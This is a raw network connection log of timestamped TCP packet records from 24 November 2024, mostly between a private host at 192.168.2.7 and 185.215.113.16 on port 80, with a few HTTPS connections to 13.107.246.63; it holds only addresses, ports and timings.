Nov 24, 2024 05:11:43.558954954 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.559111118 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.559711933 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.559946060 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.559997082 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.560554028 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.560688019 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.560734987 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.561413050 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.561527967 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.561573029 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.562282085 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.562385082 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.562567949 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.563133001 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.563247919 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.563308001 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.563980103 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.564074993 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.564111948 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.564877033 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.564989090 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.565114021 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.565687895 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.565818071 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.565902948 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.566565990 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.566683054 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.566744089 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.567426920 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.567532063 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.567619085 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.568299055 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.568408966 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.568460941 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.569174051 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.569293976 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.569349051 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.569998980 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.570117950 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.570168972 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.570813894 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.614552975 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.658833981 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.717668056 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.717773914 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.717824936 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.718010902 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.718239069 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.718282938 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.718364954 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.719095945 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.719177961 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.719218016 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.719924927 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.719964027 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.719975948 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.720773935 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.720815897 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.720880032 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.721645117 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.721687078 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.721716881 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.722510099 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.722553015 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.722554922 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.723349094 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.723448992 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.723488092 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.724232912 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.724277973 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.724347115 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.725099087 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.725181103 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.725200891 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.725955009 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.725991964 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.726135015 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.726804972 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.726896048 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.726931095 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.727680922 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.727720976 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.727777958 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.728507042 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.728549004 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.728612900 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.729377985 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.729422092 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.729474068 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.730248928 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.730288982 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.730340958 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.731105089 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.731152058 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.731187105 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.731960058 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.732026100 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.732043028 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.732871056 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.732918978 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.733032942 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.733699083 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.733756065 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.733779907 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.734528065 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.734574080 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.734636068 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.735408068 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.735455036 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.735507965 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.735610962 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.736238956 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.736291885 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.736346960 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.737113953 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.737214088 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.737257004 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.737993956 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.738038063 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.738095999 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.738861084 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.738981009 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.739023924 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.739676952 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.739722013 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.739798069 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.740595102 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.740643978 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.740693092 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.741411924 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.741456985 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.741519928 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.742278099 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.742315054 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.742386103 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.743134022 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.743184090 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.743300915 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.744002104 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.744066954 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.744080067 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.744853020 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.744899035 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.745014906 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.745707035 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.745752096 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.745794058 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.746576071 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.746618032 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.746694088 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.747453928 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.747503996 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.747539043 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.748317003 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.748399019 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.748442888 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.749139071 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.749185085 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.749228954 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.750019073 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.750065088 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.750124931 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.750860929 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.750905991 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.750953913 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.751708031 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.751753092 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.751820087 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.752574921 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.752618074 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.752687931 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.753456116 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.753498077 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.753561974 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.754359961 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.754404068 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.754429102 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.755141020 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.755244017 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.755249023 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.756035089 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.756087065 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.756145000 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.756879091 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.756942987 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.756979942 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.757730961 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.757781982 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.757837057 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.758605003 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.758652925 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.758691072 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.759462118 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.759516954 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.759553909 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.760308981 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.760420084 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.760462999 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.761181116 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.761229992 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.761291027 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.762022972 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.762104034 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.762146950 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.809319019 CET	443	49764	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:43.810556889 CET	49764	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:43.810576916 CET	443	49764	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:43.811227083 CET	49764	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:43.811232090 CET	443	49764	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:43.877903938 CET	443	49763	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:43.878871918 CET	49763	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:43.878887892 CET	443	49763	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:43.879556894 CET	49763	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:43.879563093 CET	443	49763	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:43.910026073 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.910104036 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.910202980 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.910324097 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.910516977 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.910561085 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.911180019 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.911287069 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.911330938 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.912030935 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.912141085 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.912183046 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.912911892 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.913028002 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.913065910 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.913337946 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.913773060 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.913814068 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.914613962 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.914654970 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.914699078 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.914733887 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.915462971 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.915571928 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.915607929 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.916419029 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.916430950 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.916475058 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.917224884 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.917335987 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.917382002 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.918057919 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.918175936 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.918220997 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.918598890 CET	443	49765	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:43.918930054 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.919035912 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.919085979 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.919212103 CET	49765	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:43.919243097 CET	443	49765	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:43.919781923 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.919876099 CET	49765	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:43.919881105 CET	443	49765	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:43.919893980 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.919935942 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.920635939 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.920738935 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.920871019 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.921500921 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.921617985 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.921660900 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.922346115 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.922451973 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.922506094 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.923194885 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.923297882 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.923398972 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.924127102 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.924237013 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.924278975 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.924932957 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.925045013 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.925082922 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.925784111 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.925889015 CET	443	49766	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:43.925977945 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.926032066 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.926415920 CET	49766	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:43.926430941 CET	443	49766	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:43.926636934 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.926737070 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.926804066 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.926924944 CET	49766	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:43.926929951 CET	443	49766	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:43.927510023 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.927654028 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.928353071 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.928410053 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.928455114 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.928498983 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.929234982 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.929332018 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.929374933 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.930090904 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.930222034 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.930277109 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.930927992 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.931049109 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.931093931 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.931819916 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.931917906 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.931967974 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.932662010 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.932769060 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.932841063 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.933516979 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.933635950 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.933679104 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.934379101 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.934494019 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.934551001 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.935235977 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.935348034 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.935561895 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.936081886 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.936203003 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.936295986 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.936937094 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.937033892 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.937079906 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.937812090 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.937861919 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.937963009 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.938659906 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.938770056 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.938826084 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.939538956 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.939647913 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.939769030 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.940382004 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.940494061 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.940535069 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:43.941256046 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.941368103 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:43.941483974 CET	49761	80	192.168.2.7	185.215.113.16
